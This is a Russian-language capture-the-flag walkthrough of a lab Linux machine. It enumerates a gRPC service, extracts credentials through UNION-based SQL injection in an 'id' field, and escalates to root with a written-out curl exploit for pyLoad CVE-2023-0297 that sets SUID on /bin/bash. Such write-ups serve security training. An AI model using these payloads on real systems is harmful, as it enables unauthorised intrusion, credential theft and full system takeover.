Сложность: | Easy |
ОС: | Linux |
Баллы: | 20 |
IP: | 10.10.11.214 |
Теги: | gRPC, SQLi, CVE-2023-0297, Linux PrivEsc |
После первичной разведки целевой машины мы обнаруживаем сервис gRPC, и, воспользовавшись инструментами grpcurl и grpcui
осуществляем взаимодействие с этим сервисом. Далее, с помощью SQLi в параметр id
, передаваемый по gRPC получаем доступ к УЗ sau
на целевой машине, а вместе с доступом и флаг пользователя. Обнаружив на целевой машине ещё один сервис pyLoad, проксируем его до машины атакующего и, с помощью CVE-2023-0297 устанавливаем SUID права в /bin/bash, с помощью чего повышаем права и получаем флаг пользователя root
.
Проведём первичное сканирование цели:
nmap -sS -p- 10.10.11.214
PORT STATE SERVICE
22/tcp open ssh
50051/tcp open unknown
Просканируем более подробно: nmap -sVC -O -p22,50051 10.10.11.214
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 91bf44edea1e3224301f532cea71e5ef (RSA)
| 256 8486a6e204abdff71d456ccf395809de (ECDSA)
|_ 256 1aa89572515e8e3cf180f542fd0a281c (ED25519)
50051/tcp open unknown
При переходе по порту 50051 в качестве веб сервиса не получили никаких полезных сведений, которые бы могли помочь в идентификации сервиса. При дальнейшем поиске в открытых источниках обнаружили, что на порте 50051 расположен сервис удалённого вызова процедур gRPC — альтернатива REST API от компании Google.
Для более удобного взаимодействия с gRPC воспользуемся инструментом grpcurl
и выведем список доступных сервисов:
grpcurl -plaintext 10.10.11.214:50051 list
SimpleApp
grpc.reflection.v1alpha.ServerReflection
Далее, выведем список модулей, доступных для сервиса:
grpcurl -plaintext 10.10.11.214:50051 list SimpleApp
SimpleApp.LoginUser
SimpleApp.RegisterUser
SimpleApp.getInfo
Провзаимодействуем со всеми из них без параметров и проанализируем вывод:
grpcurl -plaintext 10.10.11.214:50051 SimpleApp.getInfo
{
"message": "Authorization Error.Missing 'token' header"
}
grpcurl -plaintext 10.10.11.214:50051 SimpleApp.LoginUser
{
"message": "Login unsuccessful"
}
grpcurl -plaintext 10.10.11.214:50051 SimpleApp.RegisterUser
{
"message": "username or password must be greater than 4"
}
Мы можем регистрировать, авторизоваться и вывести информацию о пользователе. Зарегистрируемся с тестовыми учётными данными и выведем информацию о себе:
grpcurl -plaintext -d '{"username": "test123", "password": "test123"}' 10.10.11.214:50051 SimpleApp.RegisterUser
{
"message": "Account created for user test123!"
}
grpcurl -plaintext -d '{"username": "test123", "password": "test123"}' 10.10.11.214:50051 SimpleApp.LoginUser
{
"message": "Your id is 694."
}
Для большего удобства воспользуемся ещё одной утилитой взаимодействия по gRPC — grpcui
.
Авторизовавшись с ранее зарегистрированной УЗ убедились, что инструмент работает верно и вывод сопоставим с ранее полученным в grpcurl
:
Перехватим запрос, отправляемый данным инструментом с помощью BurpSuite и проанализуем его:
POST /invoke/SimpleApp.getInfo HTTP/1.1
Host: 127.0.0.1:45154
[...]
{
"metadata":[
{
"name":"token",
"value":"b'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoidGVzdDEyMyIsImV4cCI6MTY5NjUxNDU1Mn0.4-m6Z-zmAMO4ckdOrCtgeqreDHvVbLuBA8PFU3B_O4I'"
}
],
"data":[
{
"id":"694"
}
]
}
Получили следующий ответ:
HTTP/1.1 200 OK
[...]
{
"headers":[
],
"error":{
"code":2,
"name":"Unknown",
"message":"Unexpected \u003cclass 'TypeError'\u003e: 'NoneType' object is not subscriptable",
"details":[
]
},
"responses":null,
"requests":{
"total":1,
"sent":1
},
"trailers":[
{
"name":"content-type",
"value":"application/grpc"
}
]
}
Протестируем наличие SQLi в параметре id
:
POST /invoke/SimpleApp.getInfo HTTP/1.1
Host: 127.0.0.1:45154
[...]
{
"metadata":[
{
"name":"token",
"value":"b'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoidGVzdDEyMyIsImV4cCI6MTY5NjUxNDU1Mn0.4-m6Z-zmAMO4ckdOrCtgeqreDHvVbLuBA8PFU3B_O4I'"
}
],
"data":[
{
"id":"694 AND 1=1"
}
]
}
Пришёл следующий ответ от сервера:
HTTP/1.1 200 OK
[...]
{
"headers":[
],
"error":{
"code":2,
"name":"Unknown",
"message":"Will update soon.",
"details":[
]
},
"responses":null,
"requests":{
"total":1,
"sent":1
},
"trailers":[
{
"name":"content-type",
"value":"application/grpc"
}
]
}
Посредством следующей цепочки инъекций в параметр id
получим пароль от УЗ sau
:
694 union SELECT tbl_name FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'
694 union SELECT sql FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name ='accounts'
CREATE TABLE "accounts" (username TEXT UNIQUE,password TEXT)
694 union SELECT GROUP_CONCAT(username) from accounts
694 union SELECT GROUP_CONCAT(password) from accounts
Учётная запись на удалённой целевой машине: sau:HereIsYourPassWord1431
Успешно авторизовались и получили флаг пользователя sau
.
Проверим текущие соединения, доступные на целевой машине с помощью команды netstat -tulpn
Проксируем порт 8000 с помощью команды ssh sau@10.10.11.214 -L 8000:127.0.0.1:8000 -N
Исследуем сервис, находящийся на проксированном порте 8000:
После недолгого поиска уязвимостей сервиса pyLoad была обнаружена уязвимость CVE-2023-0297, позволяющая осуществлять удалённое исполнение команд без авторизации в сервис на целевой машине. Для того, чтобы проэксплуатировать данную уязвимость, необходимо выполнить следующую команду:
curl -i -s -k -X 'POST' --data-binary 'jk=pyimport%20os;os.system("chmod%20u%2Bs%20%2Fbin%2Fbash");
f=function%20f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa' 'http://127.0.0.1:8000/flash/addcrypted2'
Таким образом, с помощью RCE мы установим SUID права в исполнимом /bin/bash, что позволит запускать его от пользователя root:
Выполним bash от root и повысим свои права:
Мы смогли получить флаг пользователя root!
https://cloud.yandex.ru/docs/glossary/grpc
https://github.com/fullstorydev/grpcurl
https://book.hacktricks.xyz/pentesting-web/sql-injection
https://github.com/bAuh0lz/CVE-2023-0297_Pre-auth_RCE_in_pyLoad